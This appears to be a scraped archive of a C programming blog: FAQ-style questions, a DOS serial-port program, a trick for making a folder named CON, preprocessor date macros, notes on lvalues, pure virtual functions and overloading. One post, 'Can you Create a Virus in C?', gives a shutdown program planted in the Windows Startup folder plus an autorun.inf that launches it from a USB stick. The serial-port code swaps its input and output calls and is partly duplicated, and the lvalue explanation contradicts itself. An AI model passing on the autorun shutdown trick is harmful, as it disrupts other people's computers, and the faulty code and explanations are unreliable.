- How can I convert integers to binary or hexadecimal?
- How can I call a function, given its name as a string?
- How do I access command-line arguments?
- How can I return multiple values from a function?
- How can I invoke another program from within a C program?
- How can I access memory located at a certain address?
- How can I allocate arrays or structures bigger than 64K?
- How can I find out how much memory is available?
- How can I read a directory in a C program?
- How can I increase the allowable number of simultaneously open files?
- What’s wrong with the call fopen (”c:\newdir\file.dat”, “r”)?
- How do you write a program which produces its own source code as its output?
- How can I find the day of the week given the date?
- Why doesn’t C have nested functions?
- What is the most efficient way to count the number of bits which are set in a value?
Showing posts with label Concept. Show all posts
Showing posts with label Concept. Show all posts
Thursday, December 30, 2010
Some Good Questions
Tuesday, December 28, 2010
Reading and Writing Serial Port
#include<dos.h>
void main()
{
char data;
int choice;
printf("Enter the choice to send or receive from COM1::");
scanf("%d",&choice);
if(choice==1)
{
printf("Enter data to send::");
scanf("%c",data);
inportb(0x03f8,data);
}
else
{
data=outport(0x3f8);
printf("reding from COM1::%d",data);
}
getch();
}
scanf("%d",&choice);
if(choice==1)
{
printf("Enter data to send::");
scanf("%c",data);
inportb(0x03f8,data);
}
else
{
data=outport(0x3f8);
printf("reding from COM1::%d",data);
}
getch();
}
Creating CON folder in windows
CON is a reserve word in windows operating system. that's why we can not create the folder named as CON.
But by command prompt we can do this
STEP1: goto command prompt
STEP2: type in prompt e:\> "mkdir \\.\e:\con"
STEP3: verify by typing "dir \\.\e:\con"
STEP4: to delete the file or folder "rmdir \\.\e:\con"
STEP1: goto command prompt
STEP2: type in prompt e:\> "mkdir \\.\e:\con"
STEP3: verify by typing "dir \\.\e:\con"
STEP4: to delete the file or folder "rmdir \\.\e:\con"
following file names in Windows are reserved because they represent devices:
con, con.* -> the console
prn, prn.* -> the default printer, as a character device
aux, aux.* -> the default serial terminal, as a character device
lpt1, lpt2, lpt3, lpt4, lpt5, lpt6, lpt7, lpt8, lpt9 -> the parallel ports, as character devices
com1, com2, com3, com4, com5, com6, com7, com8, com9 -> the COM ports
nul, nul.* -> the NUL or "waste bit bucket" or "black hole for bits" or "/dev/null" device
Write a C program to show day and time
#include <stdio.h>
void main()
{
printf("Date : %s\n", __DATE__);
printf("Time : %s\n", __TIME__);
}
Can you Create a Virus in C ?
Just for study purpose :
1. Create a C program which will shutdown your system whenever you open your system..
# include<dos.h>
void main()
{
system("shutdown -p");
}a. Save the above program as say shutdown.c
b. Compile the program and get the executable file shutdown.exe
c. Save it into start-up folder..
"C:\Users\Amit Raj\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
d. Shutdown and restart the your system now..
2. Create a USB virus, which will Shutdown your system whenever you insert your Pendrive..
a. Write the code below in a notepad file
[autorun]
OPEN=shutdown.exe
b. Save the notpad file with the name autorun.inf
c. Copy the autorun.inf and the shutdown.exe into your pendrive
d. Your USB virus is ready..
Monday, December 27, 2010
Will this code compile ?
#define X 8;
int main(void)
{
++X; // will this line compile?
}The concept of lvalues and rvalues must be explained a bit in order to really understand this problem. Before we proceed, you should note that the definition of lvalues and rvalues presented here is not exact as even the C Standards themselves are rather vague on the definition.
An object is a region of memory that can be examined, but not necessarily modified. An lvalue is an expression that refers to such an object. The term lvalue originally referred to objects that appear on the left (hence the 'l') hand side of an expression. That definition no longer applies since any const-qualified type is also considered to be an lvalue, but it can never appear on the left hand side of an assignment statement because it can not be modified. So, the term "modifiable lvalue" was created to refer to an lvalue that can be modified, and a const-qualified type does not fall into this category.
An rvalue is any expression that has a value, but cannot have a value assigned to it. One could also say that an rvalue is any expression that is not an lvalue . An example of an rvalue would be a literal constant - something like '8', or '3.14'.
Now let's try to solve the problem. Strictly speaking, the operand of the prefix (or postfix) increment operator must be a non-modifiable lvalue. Now that we know what an lvalue is, we must ask ourselves if X is an lvalue. X is a macro, which means that it does not identify a place in memory - macros use simple text replacement via the preprocessor. Because macros don't exist in a region of memory, they are not lvalues. This means that X can not be used as an operand of the prefix increment operator. Thus, the code shown above will not compile.
What's a pure virtual function ?
A pure virtual function is distinguished by the fact that it has no definition, and the heading of the function has the notation "= 0".
Here is an example of how a pure virtual function in C++ would look:
class AbstractClass {
public:
virtual void pure_virtual() = 0; // a pure virtual function
// note that there is no function body
};
Although the "= 0" appended to the end of the virtual function definition may look like the function is being assigned a value of 0, that is not true. The notation "= 0" is just there to indicate that the virtual function is a pure virtual function, and it has no body.
Any base class that contains a pure virtual function is abstract, and cannot have an instance of itself created. This also means that any class that derives from that base class must override the definition of the pure virtual function in the base class, and if it doesn't then the derived class becomes an abstract class as well.
In Java, pure virtual methods are declared using the abstract keyword. Such a method cannot have a body. A class containing abstract methods must itself be declared abstract. But, an abstract class is not necessarilly required to have any abstract methods. An abstract class cannot be instantiated.
In C++, a regular, "non-pure" virtual function provides a definition, so it doesn't mean that the class that contains it becomes abstract. You would want to create a pure virtual function when it doesn't make sense to provide a definition for a virtual function in the base class itself. Use a regular virtual function when it makes sense to provide a definition in the base class.
Does C supports function overloading like C++ ?
Looking at the printf() function in C, that may lead one to think that C supports function overloading. Because, in C you can have printf("%d", aDecimal) and printf("%f", aFloat). This looks a lot like function overloading, because we are using the same function name to handle different arguments differently.
Actually, this is not a case of function overloading - the printf function is just using a feature of C known as variable argument lists. This should not be confused with function overloading. So, to answer the question, Standard C does not support function overloading.
As an interesting side note, C++ doesn't really have function overloading. What it does have is a means of faking it: the C++ compiler actually 'mangles' (or changes) function names according to the function's parameters. So, functions that share the same name but have different numbers or types of parameters can be differentiated when invoked. Also, since the 'mangling' of function names is not standardized, it's usually difficult to link object files compiled by different C++ compilers.
Subscribe to:
Posts (Atom)